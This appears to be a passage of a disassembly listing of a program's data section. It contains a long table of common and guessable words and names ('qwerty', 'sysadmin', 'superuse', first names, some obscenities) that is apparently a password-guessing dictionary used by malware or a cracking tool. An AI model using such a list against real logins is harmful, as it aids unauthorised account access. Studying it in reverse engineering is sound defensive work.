aWave		db 'wave',0             ; DATA XREF: ___:0043107Co
		align 4
aWater		db 'water',0            ; DATA XREF: ___:00431078o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:00431074o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: ___:00431070o
		align 4
aWarren		db 'warren',0           ; DATA XREF: ___:0043106Co
		align 10h
aWarp		db 'warp',0             ; DATA XREF: ___:00431068o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: ___:00431064o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:00431060o
aWarez		db 'warez',0            ; DATA XREF: ___:0043105Co
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:00431058o
		align 4
aWaco		db 'waco',0             ; DATA XREF: ___:00431054o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:00431050o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: ___:0043104Co
		align 4
aVisual		db 'visual',0           ; DATA XREF: ___:00431048o
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: ___:00431044o
aVirus		db 'virus',0            ; DATA XREF: ___:00431040o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: ___:0043103Co
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: ___:00431038o
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:00431034o
aVideogam	db 'videogam',0         ; DATA XREF: ___:00431030o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A2o
					; ___:0043102Co
		align 10h
aVictor		db 'victor',0           ; DATA XREF: ___:00431028o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: ___:00431024o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00431020o
aVeronica	db 'veronica',0         ; DATA XREF: ___:0043101Co
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:00431018o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: ___:00431014o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00431010o
aValerie	db 'valerie',0          ; DATA XREF: ___:0043100Co
aVagina		db 'vagina',0           ; DATA XREF: ___:00431008o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: ___:00431004o
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00431000o
aUtil		db 'util',0             ; DATA XREF: ___:00430FFCo
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430FF8o
		align 4
aUsername	db 'username',0         ; DATA XREF: ___:00430FF4o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430FF0o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430FECo
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430FE8o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:00430FE4o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: ___:00430FE0o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430FDCo
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430FD8o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:00430FD4o
aUniversi	db 'universi',0         ; DATA XREF: ___:00430FD0o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: ___:00430FCCo
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430FC8o
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: ___:00430FC4o
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430FC0o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430FBCo
aUndo		db 'undo',0             ; DATA XREF: ___:00430FB8o
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: ___:00430FB4o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430FB0o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: ___:00430FACo
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430FA8o
		align 10h
aTurn		db 'turn',0             ; DATA XREF: ___:00430FA4o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430FA0o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430F9Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: ___:00430F98o
		align 10h
aTrue		db 'true',0             ; DATA XREF: ___:00430F94o
		align 4
aTron		db 'tron',0             ; DATA XREF: ___:00430F90o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430F8Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430F88o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:00430F84o
aTrisha		db 'trisha',0           ; DATA XREF: ___:00430F80o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:00430F7Co
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:00430F78o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:00430F74o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: ___:00430F70o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: ___:00430F6Co
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:00430F68o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: ___:00430F64o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:00430F60o
		align 4
aTraci		db 'traci',0            ; DATA XREF: ___:00430F5Co
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:00430F58o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: ___:00430F54o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:00430F50o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: ___:00430F4Co
		align 4
aTomato		db 'tomato',0           ; DATA XREF: ___:00430F48o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:00430F44o
		align 10h
aToken		db 'token',0            ; DATA XREF: ___:00430F40o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: ___:00430F3Co
		align 10h
aToad		db 'toad',0             ; DATA XREF: ___:00430F38o
		align 4
aTits		db 'tits',0             ; DATA XREF: ___:00430F34o
		align 10h
aTina		db 'tina',0             ; DATA XREF: ___:00430F30o
		align 4
aTime		db 'time',0             ; DATA XREF: ___:00430F2Co
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: ___:00430F28o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: ___:00430F24o
aThursday	db 'thursday',0         ; DATA XREF: ___:00430F20o
		align 4
aThin		db 'thin',0             ; DATA XREF: ___:00430F1Co
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430F18o
aThailand	db 'thailand',0         ; DATA XREF: ___:00430F14o
		align 4
aText		db 'text',0             ; DATA XREF: ___:00430F10o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: ___:00430F0Co
		align 4
aTess		db 'tess',0             ; DATA XREF: ___:00430F08o
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: ___:00430F04o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430F00o
		align 4
aTera		db 'tera',0             ; DATA XREF: ___:00430EFCo
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: ___:00430EF8o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: ___:00430EF4o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430EF0o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430EECo
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430EE8o
aTeen		db 'teen',0             ; DATA XREF: ___:00430EE4o
		align 4
aTech		db 'tech',0             ; DATA XREF: ___:00430EE0o
		align 10h
aTears		db 'tears',0            ; DATA XREF: ___:00430EDCo
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430ED8o
		align 10h
aTeam		db 'team',0             ; DATA XREF: ___:00430ED4o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430ECCo
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430EC8o
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:00430EC4o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430EC0o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:00430EBCo
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430EB8o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:00430EB4o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: ___:00430EB0o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: ___:00430EACo
		align 4
aTami		db 'tami',0             ; DATA XREF: ___:00430EA8o
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: ___:00430EA4o
		align 4
aTall		db 'tall',0             ; DATA XREF: ___:00430EA0o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: ___:00430E9Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430E98o
aSysop		db 'sysop',0            ; DATA XREF: ___:00430E94o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430E90o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430E8Co
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: ___:00430E88o
		align 4
aSword		db 'sword',0            ; DATA XREF: ___:00430E84o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: ___:00430E80o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: ___:00430E7Co
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: ___:00430E78o
aSuzie		db 'suzie',0            ; DATA XREF: ___:00430E74o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:00430E70o
aSusie		db 'susie',0            ; DATA XREF: ___:00430E6Co
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: ___:00430E68o
aSusan		db 'susan',0            ; DATA XREF: ___:00430E64o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: ___:00430E60o
aSurfer		db 'surfer',0           ; DATA XREF: ___:00430E5Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: ___:00430E58o
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:00430E54o
aSupervis	db 'supervis',0         ; DATA XREF: ___:00430E50o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: ___:00430E4Co
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:00430E48o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: ___:00430E44o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:00430E40o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: ___:00430E3Co
		align 4
aSummer		db 'summer',0           ; DATA XREF: ___:00430E38o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: ___:00430E34o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:00430E30o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:00430E2Co
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:00430E28o
aSubway		db 'subway',0           ; DATA XREF: ___:00430E24o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430E20o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430E1Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:00430E14o
		align 4
aString		db 'string',0           ; DATA XREF: ___:00430E10o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430E0Co
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430E08o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:00430E04o
		align 4
aStrange	db 'strange',0          ; DATA XREF: ___:00430E00o
aStones		db 'stones',0           ; DATA XREF: ___:00430DFCo
		align 4
aStoned		db 'stoned',0           ; DATA XREF: ___:00430DF8o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: ___:00430DF4o
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:00430DF0o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430DECo
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:00430DE8o
		align 4
aSteph		db 'steph',0            ; DATA XREF: ___:00430DE4o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: ___:00430DE0o
		align 4
aSteal		db 'steal',0            ; DATA XREF: ___:00430DDCo
		align 10h
aSteak		db 'steak',0            ; DATA XREF: ___:00430DD8o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: ___:00430DD4o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430DD0o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430DCCo
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
					; ___:00430DC8o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: ___:00430DC4o
		align 4
aStar		db 'star',0             ; DATA XREF: ___:00430DC0o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430DBCo
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:00430DB8o
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:00430DB4o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:00430DB0o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430DACo
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:00430DA8o
aSpunk		db 'spunk',0            ; DATA XREF: ___:00430DA4o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:00430DA0o
		align 4
aSpring		db 'spring',0           ; DATA XREF: ___:00430D9Co
		align 10h
aSpred		db 'spred',0            ; DATA XREF: ___:00430D98o
		align 4
aSpit		db 'spit',0             ; DATA XREF: ___:00430D94o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430D90o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:00430D8Co
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430D88o
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:00430D84o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:00430D80o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:00430D7Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:00430D78o
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:00430D74o
		align 4
aSource		db 'source',0           ; DATA XREF: ___:00430D70o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:00430D6Co
aSonya		db 'sonya',0            ; DATA XREF: ___:00430D68o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:00430D64o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:00430D60o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:00430D5Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:00430D58o
		align 4
aSoftware	db 'software',0         ; DATA XREF: ___:00430D54o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:00430D50o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:00430D4Co
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:00430D48o
		align 10h
aSocial		db 'social',0           ; DATA XREF: ___:00430D44o
		align 4
aSoap		db 'soap',0             ; DATA XREF: ___:00430D40o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:00430D3Co
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: ___:00430D38o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: ___:00430D34o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: ___:00430D30o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: ___:00430D2Co
		align 4
aSmut		db 'smut',0             ; DATA XREF: ___:00430D28o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: ___:00430D24o
		align 4
aSmother	db 'smother',0          ; DATA XREF: ___:00430D20o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430D1Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430D18o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: ___:00430D14o
		align 4
aSmart		db 'smart',0            ; DATA XREF: ___:00430D10o
		align 10h
aSmall		db 'small',0            ; DATA XREF: ___:00430D0Co
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00430D08o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: ___:00430D04o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: ___:00430D00o
aSlick		db 'slick',0            ; DATA XREF: ___:00430CFCo
		align 4
aSlave		db 'slave',0            ; DATA XREF: ___:00430CF8o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: ___:00430CF4o
		align 4
aSite		db 'site',0             ; DATA XREF: ___:00430CF0o
		align 10h
aSingle		db 'single',0           ; DATA XREF: ___:00430CECo
		align 4
aSinger		db 'singer',0           ; DATA XREF: ___:00430CE8o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: ___:00430CE4o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430CE0o
		align 4
aSimple		db 'simple',0           ; DATA XREF: ___:00430CDCo
		align 10h
aSimon		db 'simon',0            ; DATA XREF: ___:00430CD8o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: ___:00430CD4o
aSilver		db 'silver',0           ; DATA XREF: ___:00430CD0o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430CCCo
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430CC8o
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:00430CC4o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430CC0o
aShort		db 'short',0            ; DATA XREF: ___:00430CBCo
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430CB8o
aShiva		db 'shiva',0            ; DATA XREF: ___:00430CB4o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430CB0o
aShit		db 'shit',0             ; DATA XREF: ___:00430CACo
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430CA8o
aShift		db 'shift',0            ; DATA XREF: ___:00430CA4o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430CA0o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:00430C9Co
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430C98o
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:00430C94o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: ___:00430C90o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: ___:00430C8Co
		align 4
aShark		db 'shark',0            ; DATA XREF: ___:00430C88o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: ___:00430C84o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: ___:00430C80o
aSexy		db 'sexy',0             ; DATA XREF: ___:00430C7Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: ___:00430C78o
		align 10h
aService	db 'service',0          ; DATA XREF: ___:00430C74o
aSerial_0	db 'serial',0           ; DATA XREF: ___:00430C70o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: ___:00430C6Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:00430C68o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:00430C64o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: ___:00430C60o
		align 4
aSega		db 'sega',0             ; DATA XREF: ___:00430C5Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: ___:00430C58o
		align 4
aSecurity	db 'security',0         ; DATA XREF: ___:00430C54o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:00430C50o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:00430C4Co
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:00430C48o
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:00430C44o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:00430C40o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: ___:00430C3Co
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:00430C38o
aSchool		db 'school',0           ; DATA XREF: ___:00430C34o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:00430C30o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:00430C2Co
aSaxon		db 'saxon',0            ; DATA XREF: ___:00430C28o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:00430C24o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430C20o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: ___:00430C1Co
		align 10h
aSara		db 'sara',0             ; DATA XREF: ___:00430C18o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: ___:00430C14o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: ___:00430C10o
		align 4
aSample		db 'sample',0           ; DATA XREF: ___:00430C0Co
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430C08o
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:00430C04o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430C00o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:00430BFCo
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430BF8o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:00430BF4o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430BF0o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: ___:00430BECo
aRules		db 'rules',0            ; DATA XREF: ___:00430BE8o
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:00430BE4o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430BE0o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:00430BDCo
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430BD8o
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:00430BD4o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430BD0o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430BCCo
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430BC8o
aRose		db 'rose',0             ; DATA XREF: ___:00430BC4o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: ___:00430BC0o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430BBCo
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430BB8o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: ___:00430BB4o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: ___:00430BB0o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: ___:00430BACo
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430BA8o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:00430BA4o
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:00430BA0o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430B9Co
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430B98o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:00430B94o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430B90o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: ___:00430B8Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: ___:00430B88o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: ___:00430B84o
		align 4
aRoach		db 'roach',0            ; DATA XREF: ___:00430B80o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: ___:00430B7Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: ___:00430B78o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: ___:00430B74o
		align 4
aRing		db 'ring',0             ; DATA XREF: ___:00430B70o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: ___:00430B6Co
		align 4
aRight		db 'right',0            ; DATA XREF: ___:00430B68o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:00430B64o
		align 10h
aRick		db 'rick',0             ; DATA XREF: ___:00430B60o
		align 4
aRich		db 'rich',0             ; DATA XREF: ___:00430B5Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: ___:00430B58o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: ___:00430B54o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: ___:00430B50o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:00430B4Co
		align 4
aReport		db 'report',0           ; DATA XREF: ___:00430B48o
		align 10h
aRent		db 'rent',0             ; DATA XREF: ___:00430B44o
		align 4
aReno		db 'reno',0             ; DATA XREF: ___:00430B40o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: ___:00430B3Co
		align 4
aRemote		db 'remote',0           ; DATA XREF: ___:00430B38o
		align 10h
aRelease	db 'release',0          ; DATA XREF: ___:00430B34o
aRegional	db 'regional',0         ; DATA XREF: ___:00430B30o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:00430B2Co
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: ___:00430B28o
aReddawn	db 'reddawn',0          ; DATA XREF: ___:00430B24o
aRecord		db 'record',0           ; DATA XREF: ___:00430B20o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: ___:00430B1Co
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430B18o
aRebal		db 'rebal',0            ; DATA XREF: ___:00430B14o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: ___:00430B10o
		align 4
aReam		db 'ream',0             ; DATA XREF: ___:00430B0Co
		align 10h
aReally		db 'really',0           ; DATA XREF: ___:00430B08o
		align 4
aReality	db 'reality',0          ; DATA XREF: ___:00430B04o
aReagan		db 'reagan',0           ; DATA XREF: ___:00430B00o
		align 4
aRazor		db 'razor',0            ; DATA XREF: ___:00430AFCo
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: ___:00430AF8o
		align 4
aRape		db 'rape',0             ; DATA XREF: ___:00430AF4o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430AECo
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430AE8o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:00430AE4o
aRain		db 'rain',0             ; DATA XREF: ___:00430AE0o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430ADCo
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430AD8o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:00430AD4o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430AD0o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430ACCo
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430AC8o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:00430AC4o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430AC0o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:00430ABCo
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430AB8o
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:00430AB4o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430AB0o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430AACo
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430AA8o
aPuke		db 'puke',0             ; DATA XREF: ___:00430AA4o
		align 4
aPuck		db 'puck',0             ; DATA XREF: ___:00430AA0o
		align 10h
aPublic		db 'public',0           ; DATA XREF: ___:00430A9Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430A98o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:00430A94o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430A90o
		align 4
aProtect	db 'protect',0          ; DATA XREF: ___:00430A8Co
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430A88o
		align 4
aProgram	db 'program',0          ; DATA XREF: ___:00430A84o
aProfile	db 'profile',0          ; DATA XREF: ___:00430A80o
aProfesso	db 'professo',0         ; DATA XREF: ___:00430A7Co
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:00430A78o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: ___:00430A74o
aPrivs		db 'privs',0            ; DATA XREF: ___:00430A70o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: ___:00430A6Co
aPriv		db 'priv',0             ; DATA XREF: ___:00430A68o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: ___:00430A64o
aPrinceto	db 'princeto',0         ; DATA XREF: ___:00430A60o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:00430A5Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: ___:00430A58o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:00430A54o
aPrecious	db 'precious',0         ; DATA XREF: ___:00430A50o
		align 4
aPraise		db 'praise',0           ; DATA XREF: ___:00430A4Co
		align 10h
aPower		db 'power',0            ; DATA XREF: ___:00430A48o
		align 4
aPoster		db 'poster',0           ; DATA XREF: ___:00430A44o
		align 10h
aPost		db 'post',0             ; DATA XREF: ___:00430A40o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: ___:00430A3Co
aPorno		db 'porno',0            ; DATA XREF: ___:00430A38o
		align 4
aPorn		db 'porn',0             ; DATA XREF: ___:00430A34o
		align 10h
aPork		db 'pork',0             ; DATA XREF: ___:00430A30o
		align 4
aPoor		db 'poor',0             ; DATA XREF: ___:00430A2Co
		align 10h
aPoop		db 'poop',0             ; DATA XREF: ___:00430A28o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: ___:00430A24o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430A20o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: ___:00430A1Co
		align 4
